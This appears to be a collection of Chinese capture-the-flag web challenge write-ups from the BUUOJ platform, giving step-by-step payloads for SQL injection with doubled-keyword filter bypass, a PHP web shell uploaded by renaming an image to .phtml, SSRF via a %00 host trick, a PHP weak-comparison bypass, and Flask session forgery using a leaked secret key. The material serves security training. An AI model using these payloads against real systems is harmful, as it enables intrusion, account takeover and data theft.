URL地址 http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/upload/1.phtml
连接密码 shell
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟eval($_POST['shell']);
一致。
连接后查看网站文件,在根目录发现flag。
输入
1'
网页显示:
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1
说明查询语句单引号闭合。
我们先判断列数:
1' order by 3 #
网页显示:
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 3 #' and password='1'' at line 1
注意到order
的or
,和by
被过滤了。猜测是被replace函数替换成了空字符。可以双写绕过:
1' oorrder bbyy 3 #
没有报错,再输入:
1' oorrder bbyy 4 #
网页报错:
Error!
Unknown column '4' in 'order clause'
说明有三个字段。
使用union
查询回显点位:
1' union select 1,2,3#
网页回显:
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1,2,3#' and password='1'' at line 1
发现union
和select
都被过滤了,所以考虑双写绕过:
1' ununionion sselectelect 1,2,3#
网页回显:
Login Success!
Hello 2!
Your password is '3'
说明回显点位为2和3,查询当前数据库名及版本:
1' ununionion sselectelect 1,database(),version()#
网页回显:
Login Success!
Hello geek!
Your password is '10.3.18-MariaDB'
查询数据库geek
里面的表名:
1' ununionion sselectelect 1, 2, group_concat(table_name) from information_schema.tables where table_schema='geek' #
网页回显:
Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '.tables table_schema='geek' #' and password='1'' at line 1
说明where
,from
被过滤了,考虑双写绕过:
1' ununionion sselectelect 1, 2, group_concat(table_name) frfromom information_schema.tables whwhereere table_schema='geek' #
网页回显:
Error!
Table 'infmation_schema.tables' doesn't exist
or
也被过滤了:
1' ununionion sselectelect 1, 2, group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
网页回显:
Login Success!
Hello 2!
Your password is 'b4bsql,geekuser'
查询数据库geek
中表b4bsql
中所有字段名称,补全必要的双写绕过:
1' ununionion selselectect 1, 2, group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='geek' aandnd table_name='b4bsql' #
网页回显:
Hello 2!
Your password is 'id,username,password'
查询数据库geek
中表b4bsql
中password
字段的值,补全必要的双写绕过:
1' ununionion selselectect 1, 2, group_concat(passwoorrd) frfromom geek.b4bsql #
网页回显:
Login Success!
Hello 2!
Your password is 'i_want_to_play_2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornhub,you_found_flag_so_stop,i_told_you_to_stop,hack_by_cl4y,flag{404818fd-bcde-4003-979c-59ac0de9d6ff}'
得到flag。
References
https://blog.nowcoder.net/n/82c9495f79944e819edf38dd6ccbe71c
[极客大挑战 2019]LoveSQL
进网站看见灯泡。
上传php文件,提示上传的文件只能以.gif .jpg .png结尾。
新建1.git文件,写入:
GIF89a
用burp拦截:
POST / HTTP/1.1
Host: 94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Content-Length: 346
Cache-Control: max-age=0
Origin: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLh8rQpr1L4KwIAml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="upload_file"; filename="1.gif"
Content-Type: image/gif
GIF89a
------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundaryLh8rQpr1L4KwIAml--
改为:
POST / HTTP/1.1
Host: 94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Content-Length: 346
Cache-Control: max-age=0
Origin: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLh8rQpr1L4KwIAml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
Content-Type: image/gif
GIF89a
------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundaryLh8rQpr1L4KwIAml--
然后发送,网页发现页面回显上传的文件的相对路径:
嘿伙计,你发现它了! 1.gif
Upload Success! Look here~ ./uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
连接密码 shell
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,要跟$_POST[“shell”]一致。
连接后查看网站文件,发现flag。
进入网站提示:
Try to find out source file!
用dirsearch
扫描网页,输入命令:
python dirsearch.py -u http://2e597051-4127-46a9-90f4-45dab9e5f8cf.node3.buuoj.cn/ -e * -x 429,503 -w db/mylist.txt
发现index.php.bak
文件,下载后查看php
源码:
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
intval()
函数用于获取变量的整数值。
intval()
函数通过使用指定的进制 base
转换(默认是十进制),返回变量var
的integer
数值。 intval()
不能用于object
,否则会产生E_NOTICE
错误并返回1
。
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
php中两个等于号是弱等于取str
的123
与key
进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0
。所以直接传入key=123
就行)。
输入url:
/?key=123
得到flag。
References
https://blog.csdn.net/weixin_45674567/article/details/106412484
进入网站显示:
View CTFHub
You just view *.ctfhub.com
点击View CTFHub,用burp Suite拦截。
GET /?url=www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
You just view *.ctfhub.com 就是只能访问ctfhub.com,但我们又想访问内网,所以用%00绕过,修改请求:
GET /?url=http://127.0.0.1%00www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
响应:
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 15 Mar 2021 17:30:01 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 384
Connection: close
Hint: Flag in localhost
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.15
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 15 Mar 2021 17:30:15 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => Tips: Host must be end with '123'
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)
响应提示只能用127.0.0.123访问,修改请求:
GET /?url=http://127.0.0.123%00www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close
响应:
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 15 Mar 2021 17:31:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 399
Connection: close
Hint: Flag in localhost
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.15
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 15 Mar 2021 17:31:54 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => FLAG: flag{683033ab-dfd0-4df8-8b04-008ecd22917a}
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)
得到flag。
进入网页,显示:
hctf
Welcome to hctf
按F12,发现注释:
说明我们要以admin的身份登录。尝试以弱密码123,结果登陆成功。
用test
为用户名注册一个账号,再进入修改密码页面,按F12
,发现注释:
再GitHub上面下载源码,查看change
,register
,login
函数:
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
发现转化名字的时候会使用strlower
函数,但一般python转小写都用lower()
函数,这里可能有问题。
查看strlower
函数:
**def strlower(username):
username = nodeprep.prepare(username)
return username**
使用了nodeprep.prepare()
函数,源于twisted
库。
References
https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/
使用https://unicode-table.com/cn/blocks/phonetic-extensions/ 这里面的特殊字母,nodeprep.prepare()
函数可以对字母做出如下操作:
ᴀ -> A -> a
所以我们想到攻击链
ᴀdmin
ᴀdmin
,变成Admin
Admin
,更改了admin
的密码查看源码,发现:
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {
{ session['name'] }}h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}h1>
{% endif %}
<h1 class="nav">Welcome to hctfh1>
{% include('footer.html') %}
先注册一个账号,以test为用户名登陆, flask
的session
都是在本地的,通过一个SECRET_KEY
进行签名,可以伪造session
绕过。
序列化session
的主要过程,序列化的操作分如下几步:
json.dumps
将对象转换成json
字符串,作为数据zlib
库进行压缩base64
编码hmac
算法计算数据的签名,将签名附在数据后,用“.”分割第4步就解决了用户篡改session
的问题,因为在不知道secret_key
的情况下,是无法伪造签名的。
References
https://www.leavesongs.com/PENETRATION/client-session-security.html
使用脚本解码session
,flask
的特点是将session
保存在cookies
中,按F12
,在应用程序-cookies里面找到session
:
.eJxFkMFqwkAQhl-lzNnDuuYkeKisSoXZENkk7Fyk1ejuJKuQREwjvnsXKe1pDv983zD_A_antuoczPv2Vk1g748wf8DbF8whLTOpy12wvBqsaZyVmdAKE8vZQLyscaSgzdHhZu1Jxb3SflOJQnOckUGzcxTyKRrttbJ35PdBlx_SGnKpOgjkxqGhmjaRNY3HTdGQOrIe62i2UwrUaJmL1Gx9qgpvw5ZRrhIy5xmaNVtZBDui1NIu4DmBQ9ee9v21ri7_L6jzTI-Hux6XLi1xFvGRzDYgr5KoZeKGU5XHc3mCXLDlXOhs8dL58Hmu_kworoP5TS6fIQbQV10PE7h1VfuqDaYCnj-v7m2U.YFFnqA.ld6oFaRI5xwVxPlp8gqKDjVT3kw
使用脚本解码session
。
References
https://github.com/noraj/flask-session-cookie-manager
运行脚本,输入:
python flask_session_cookie_manager3.py decode -c .eJw9kMGKwkAQRH9l6bOHJJrDCh42zCgu9ISV0dB9EY0xzkziQhKJjvjvG13wVNBVvKbqDttjU7QnmHbNpRjB1hxgeoePPUyBhQuUyAPSyUlpupF3EWXLGH0Zs64c2cRxjT1G8kb221Eme2W_JmwxxAVbFjRGPzdcLyMWqxPbPMDsZ_xkoU8MCjapljHZuXn-IJ9fWa97zDBS3sVo2VG9HthcqUFTQYF6secGNQXkKVS27FGsZ_AYQd42x23364rzuwJmmyrN5CQVlVFWDvHcKyFDilZmuIdK4JV8MmRWjqJNjZor7GcvnKl3ZfEmHeRnuC__nfOuHgzoiraDEVzaonnNBmEAjz8-fWz5.YFIK-g.Ddh72dq63YJgfOI9c-n1SHto9wg
输出:
{"_fresh":true,"_id":{" b":"ZDk0NDc0YTBhNTYyYzk2YWI5Mzg5ZTlkYjBkZmMwM2EyYjJkYWEwNjA4ZjM1MGZjZDY3MzFiZmI2ZDRhZjc0MWQ3NTYyMzBiMDZiOTE5YjFiYTBhYzcxZTUwMWM2Nzk5MjZkYmUyYjZlNmUyODY0NjM1MGFiMTY0YzY1NjgwMDU="},"csrf_token":{" b":"MWVlOWE4ODliNjE1NjczNDE1Y2RiOWE1NDMxYzBlOWRkY2VmMTZlMw=="},"image":{" b":"dE91bg=="},"name":"test","user_id":"10"}
发现当前是以用户名test
登录,可以尝试将其修改为admin
后重新签名。
在config.py
文件里发现:
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
发现SECRET_KEY
泄露,用ckj123
签名,输入:
python flask_session_cookie_manager3.py encode -t "{'_fresh':True,'_id': b'd94474a0a562c96ab9389e9db0dfc03a2b2daa0608f350fcd6731bfb6d4af741d756230b06b919b1ba0ac71e501c679926dbe2b6e6e28646350ab164c6568005','csrf_token':b'1ee9a889b615673415cdb9a5431c0e9ddcef16e3','image':b'tOun','name':'admin','user_id':'10'}" -s ckj123
注意把_id
和csrf_token
的值base64
解码,把这两个key
后面的花括号删掉,把双引号改成单引号,还有把true
改为True
。
输出:
.eJw9kEGLwjAQhf_KMmcPbbWHFTxsSRQXJmUlWmYuorXWJI0LValG_O9bXfD0YN7jG967w3rfVqcDjM_tpRrA2uxgfIePLYyBhYuUKCPS2UFpulFwCRXzFEOdsm4c2cyxxw4TeSP77aiQnbJfI7YY44wtCxpimBr284TF4sC2jLD4GT5ZGDKDgk2uZUp2ap4_KJRX1ssOC0xUcCladuSXPZsb1WsuKFIv9tSgpogCxcrWHYrlBB4DKE_tfn3-ddXxXQGLVZMXcpSLxigr-3gZlJAxJQvT32Ml8Eoh6zMLR8nKo-YGu8kLZ_ymrt6knfyMt_W_c9z43oDNzpsjDOByqtrXbhBH8PgDq1ltQg.YFIMgw.9iLYmhLVnAx7uyaVbCnkfoDEchs
用burp Suite构造请求:
GET /index HTTP/1.1
Host: 78743fde-04ab-4167-9bdb-2d5c2c243426.node3.buuoj.cn
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://78743fde-04ab-4167-9bdb-2d5c2c243426.node3.buuoj.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: session=.eJw9kEGLwjAQhf_KMmcPbbWHFTxsSRQXJmUlWmYuorXWJI0LValG_O9bXfD0YN7jG967w3rfVqcDjM_tpRrA2uxgfIePLYyBhYuUKCPS2UFpulFwCRXzFEOdsm4c2cyxxw4TeSP77aiQnbJfI7YY44wtCxpimBr284TF4sC2jLD4GT5ZGDKDgk2uZUp2ap4_KJRX1ssOC0xUcCladuSXPZsb1WsuKFIv9tSgpogCxcrWHYrlBB4DKE_tfn3-ddXxXQGLVZMXcpSLxigr-3gZlJAxJQvT32Ml8Eoh6zMLR8nKo-YGu8kLZ_ymrt6knfyMt_W_c9z43oDNzpsjDOByqtrXbhBH8PgDq1ltQg.YFIMgw.9iLYmhLVnAx7uyaVbCnkfoDEchs
Connection: close
响应:
Hello admin
flag{a993f74f-6031-4b15-80f6-6dbe7877b0e5}
Welcome to hctf